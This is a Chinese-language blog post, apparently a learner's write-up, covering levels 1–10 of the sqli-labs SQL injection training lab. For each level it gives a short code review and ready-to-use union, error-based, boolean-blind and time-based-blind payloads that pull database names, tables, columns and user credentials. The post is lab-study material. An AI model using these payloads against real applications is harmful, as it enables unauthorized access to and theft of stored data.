sqli labs代码审计1-10

**本人是菜鸟,仅记录一下自己的学习总结,可能有不对的地方,大佬们勿喷

第一关:**

前面是获取用户输入的id到文本文档里做记录的,都不用看,我是直接看下面的sql语句,这样能看更少的代码,更容易理清思路

在这里插入图片描述
可以看到是直接把id用单引号扩起来,直接拼成语句,然后去mysqli_query里查询,把返回结果放到row里。

if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysqli_error($con));
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

然后加入了一个简单的判断,如果row查询成功了,就返回正确的值。
如果row查询失败了,就原封不动的返回错误的信息到页面上。
其他情况输出一大堆英文

所以他的语句是这样的:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
我们只需要加入一个单引号就会报错。

我们直接上公式就行

id=-1' union select 1,database(),user()--+    #查当前数据库和用户名
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where  table_schema='security'--+   #查security数据库里的所有表
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+      #查users表里的所有字段
id=-1' union select 1,username,password from users where id = 1--+  #查username和password字段里的内容从第1个id

在这里插入图片描述

第二关

在这里插入图片描述
几乎都和一样,只是id没有了引号括起来,直接用and 1=2即可
注入的时候把上关的语句复制,去掉引号

第三关

在这里插入图片描述
分析代码,比第一关多了一个括号,那么闭合的时候用id=1’) and 1=2–+就可以正常闭合,and 1=1的时候页面正常,and 1=2的时候页面异常。
注入语句一样,前面加个括号即可

第四关

在这里插入图片描述
在带入查询语句之前给id加了一个双引号,带入语句之后又加了一个括号,那最终带入数据库查询的就是:$sql="SELECT * FROM users WHERE id=('id') LIMIT 0,1";
和之前关卡基本一样,id=1") and 1=2–+页面异常,注入流程一样,在id之前加 ") 即可

第五关

在这里插入图片描述
这关登录成功不显示内容了,只显示You are in…,也就是说不显示错误回显了,可以用时间盲注。
但是其实他还没限制报错页面的返回结果,所以还可以用报错注入。

id=1'and(select extractvalue(1,concat(0x7e,(select database()))))--+
id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))--+
id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))--+
id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))--+

第六关

在这里插入图片描述

和上关一样,不过换成了双引号

第七关

在这里插入图片描述
这回连错误回显也给删了,错误的话会返回固定的错误值(You have an error in your SQL syntax),可以用这个作为查询成功和失败的判断,直接布尔盲注

1')) and length(database())=1--+
1')) and substr(database(),1,1)='s'--+
#substr函数从数据库第一位开始,截取一位,字符为s
1')) and substr(database(),2,1)='s'--+
#截取第二位
1')) and (select count(table_name) from information_schema.tables where table_schema = 'security') =4--+
#把截取完的数据库带入查询表的个数,count是查个数
1')) and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1) = 'e'--+
#其中limit0,1是获取第一个表,1,1就是第二个表,2,1是第三个表,3,1是第四个表
#后面的1,1是第一个表中的第一个字符,2,1就是第二个字符,依次类推。

第八关

在这里插入图片描述
这回错误回显被删了,变成了空,查询成功就返回(You are in…),失败了就返回空,也是可以从页面上看出来的

1' and length(database())=8--+
1 and substr(database(),1,1)='s'--+
#substr函数从数据库第一位开始,截取一位,字符为s
1 and substr(database(),2,1)='s'--+
#截取第二位
1 and (select count(table_name) from information_schema.tables where table_schema = 'security') =4--+
#把截取完的数据库带入查询表的个数,count是查个数
1 and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1) = 'e'--+
#其中limit0,1是获取第一个表,1,1就是第二个表,2,1是第三个表,3,1是第四个表
#后面的1,1是第一个表中的第一个字符,2,1就是第二个字符,依次类推。

第九关

在这里插入图片描述
这回直接正确也返回这个,错误也返回这个,布尔已经判断不了了,只能用时间盲注。

?id=1' and if(length(database())>7,1,sleep(2)) --+ 不断改变substr截取字段,获取整个数据库名字

?id=1' and if((ascii(substr(database(),1,1))=115),1,sleep(2)) --+ 不断改变截取字段和limit,获取全部表名

?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101),1,sleep(2)) --+ 不断改变截取字段和limit,获取全部属性名

?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,sleep(2),1)--+ 
不断改变截取字段和limit,获取全部用户数据

第十关

在这里插入图片描述

和第九关一样,把单引号去掉即可,换成双引号是闭合整体语句。

?id=1" and if(length(database())>7,1,sleep(2)) --+ 不断改变substr截取字段,获取整个数据库名字

?id=1" and if((ascii(substr(database(),1,1))=115),1,sleep(2)) --+ 不断改变截取字段和limit,获取全部表名

?id=1" and if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101),1,sleep(2)) --+ 不断改变截取字段和limit,获取全部属性名

?id=1" and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,sleep(2),1)--+ 
不断改变截取字段和limit,获取全部用户数据
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值